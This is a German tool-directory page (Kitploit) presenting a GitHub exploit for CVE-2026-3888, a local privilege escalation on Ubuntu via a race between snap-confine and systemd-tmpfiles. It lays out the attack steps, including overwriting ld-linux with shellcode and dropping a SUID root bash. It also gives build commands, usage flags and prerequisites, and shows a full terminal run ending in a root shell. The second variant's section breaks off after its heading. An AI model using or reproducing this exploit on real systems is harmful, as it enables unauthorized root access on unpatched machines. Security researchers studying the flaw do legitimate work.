Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE — Lokaler Privilege-Escalation-Exploit für CVE-2026-3888, der auf snap-confine und systemd-tmpfiles unter Ubuntu abzielt und SUID- sowie Capabilities-Varianten bereitstellt, um Root-Zugriff zu erlangen. | Kitploit
Tools/GitHubGitHub/thecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationPenetrationstestsLernen & BildungRed TeamingBinary-ExploitationLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubthecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe

CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

Lokaler Privilege-Escalation-Exploit für CVE-2026-3888, der auf snap-confine und systemd-tmpfiles unter Ubuntu abzielt und SUID- sowie Capabilities-Varianten bereitstellt, um Root-Zugriff zu erlangen.

Repository anzeigen
18222vor 6 MonatenNoch nicht geprüft

CVE-2026-3888 — snap-confine / systemd-tmpfiles Lokale Rechteausweitung

Lokale Rechteausweitung von einem unprivilegierten Benutzer zu vollständigem Root-Zugriff auf Ubuntu Desktop 24.04+ durch Ausnutzung einer TOCTOU-Race-Condition zwischen snap-confine und systemd-tmpfiles. Es werden zwei Varianten bereitgestellt: SUID und Capabilities.

CVSS: 7.8 (Hoch) | Advisory: Qualys | Patch: snapd 2.74.2, 17. März 2026

Inhaltsverzeichnis

  • Variantenvergleich
  • Variante 1 — SUID
    • Funktionsweise
    • Dateien
    • Build
    • Verwendung
    • Voraussetzungen
    • Ausgabe
  • Variante 2 — Capabilities
    • Funktionsweise
    • Dateien
    • Build
    • Verwendung
    • Voraussetzungen
    • Ausgabe
  • Labor-Einrichtung
  • Haftungsausschluss

Variantenvergleich

Ubuntu 24.04 (SUID)Ubuntu 25.10 (Capabilities)
snap-confineSUID-rootCapabilities (cap_sys_admin, usw.)
Ziel-Snapfirefoxsnap-store
Mimikry-Ziel/usr/lib/x86_64-linux-gnu (~285 Einträge)/var/lib (~17 Einträge)
Exploit-VektorÜberschreiben von ld-linux-x86-64.so.2 mit ShellcodeKontrolle über user-fstab + ld.so.preload
Payload-FormatStatisches ELF mit rohen SyscallsShared Library mit __attribute__((constructor))
Root-AuslöserSUID snap-confine lädt vergifteten dynamischen LinkerSUID su in /tmp/.snap lädt .so vor
cgroup-AnforderungBeliebiger snap.*-NameExakte Übereinstimmung: snap.snap-store.hook.configure
.snap-Bereinigung30 Tage10 Tage
Sandbox-Escape/var/snap/firefox/common/bash/var/snap/snap-store/common/bash

Variante 1 — SUID

Funktionsweise

  1. systemd-tmpfiles löscht das veraltete .snap-Mimikry-Verzeichnis unter /tmp (30-Tage-Altersgrenze)
  2. Der Angreifer erstellt es mit kontrolliertem Inhalt neu — alle Dateien gehören dem Angreifer
  3. Der Exploit führt snap-confine über AF_UNIX-Socket-Backpressure im Einzelschritt aus, um das Rennen während der Mimikry-Bind-Mount-Sequenz zuverlässig zu gewinnen
  4. Vom Angreifer kontrollierte Bibliotheken werden als Root in die Sandbox gemountet
  5. ld-linux-x86-64.so.2 wird durch Shellcode ersetzt, der setreuid(0,0) + execve aufruft
  6. Die Ausführung von SUID snap-confine löst den Shellcode mit Root-Rechten aus
  7. Eine SUID-Bash wird nach /var/snap/firefox/common/ abgelegt, um die Sandbox zu verlassen

Dateien

DateiBeschreibung
exploit_suid.cEinheitlicher Single-Binary-Exploit — alle 7 Phasen in einem fork-basierten Orchestrator
librootshell_suid.cPayload — minimales ELF, das ld-linux-x86-64.so.2 über rohe x86_64-Syscalls ersetzt

Build

gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

Beide müssen auf x86_64-Linux kompiliert (oder cross-kompiliert) werden. exploit ist statisch gelinkt, sodass es ohne Bibliotheksabhängigkeiten innerhalb der Snap-Sandbox läuft. librootshell.so verwendet -nostdlib, da es nur rohe Syscalls enthält — kein libc.

Verwendung

./exploit <librootshell.so> [-d] [-s]
FlagBeschreibung
-dSnap-confine-Debug-Ausgabe anzeigen (verbose Modus)
-s.snap-Bereinigungswartezeit überspringen (erfordert Root-Passwort)
# Normaler Lauf
./exploit ./librootshell.so

# Debug-Modus
./exploit ./librootshell.so -d

# Wiederholung nach Fehlschlag
./exploit ./librootshell.so -s

Der Exploit betritt die Sandbox, wartet darauf, dass systemd-tmpfiles .snap löscht (bis zu 10 Tage auf Standard-Ubuntu 25.10 und bis zu 30 Tage auf Standard-Ubuntu 24.04), und führt dann das Rennen automatisch aus. Bei Erfolg wird eine Root-Shell geöffnet.

Voraussetzungen

  • Ubuntu 24.04+ mit ungepatchtem snapd (< 2.74.2)
  • snap-confine muss SUID-root sein (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)
  • Ein Snap mit Layout-Bind-Mounts installiert (firefox, snap-store, usw.)
  • systemd-tmpfiles-clean.timer aktiv
  • busybox auf dem Zielsystem verfügbar (/usr/bin/busybox)

Ausgabe

user@ubuntu:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 Bytes)

[Phase 1] Firefox-Sandbox betreten...
[+] Innere Shell-PID: 3122

[Phase 2] Auf .snap-Löschung warten...
[*] Abfragen (bis zu 30 Tage auf Standard-Ubuntu).
[*] Hinweis: -s zum Überspringen verwenden.
[+] .snap gelöscht.

[Phase 3] Gecachten Mount-Namespace zerstören...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace zerstört.

[Phase 4] Rennen einrichten und ausführen...
[*]   Arbeitsverzeichnis: /proc/3122/cwd
[*]   .snap und .exchange erstellen...
[*]   285 Einträge in das Exchange-Verzeichnis kopiert
[*]   Rennen starten...
[*]   snap-confine überwachen (Kind-PID 3543)...

[!]   AUSLÖSER — Verzeichnisse tauschen...
[+]   TAUSCH ABGESCHLOSSEN — Rennen gewonnen!
[*]   ld-linux im Namespace: user:user 755
[+]   Vergifteter Namespace-PID: 3543

[Phase 5] Payload in vergifteten Namespace injizieren...
[+]   ld-linux gehört uid 1000 (Angreifer). Rennen bestätigt.
[*]   busybox platzieren...
[*]   Escape-Skript schreiben → /tmp/sh
[*]   ld-linux-x86-64.so.2 überschreiben...
[+]   Payload injiziert.

[Phase 6] Root über SUID snap-confine auslösen...
[*]   snap-confine → snap-confine (SUID-Auslöser)
[*]   Exit-Status: 0

[Phase 7] Verifizieren...
[+] SUID-Root-Bash: /var/snap/firefox/common/bash (Modus 4755)
[*] Hintergrundprozesse bereinigen...

================================================================
  ROOT-SHELL: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

Variante 2 — Capabilities

Funktionsweise

Tool herunterladen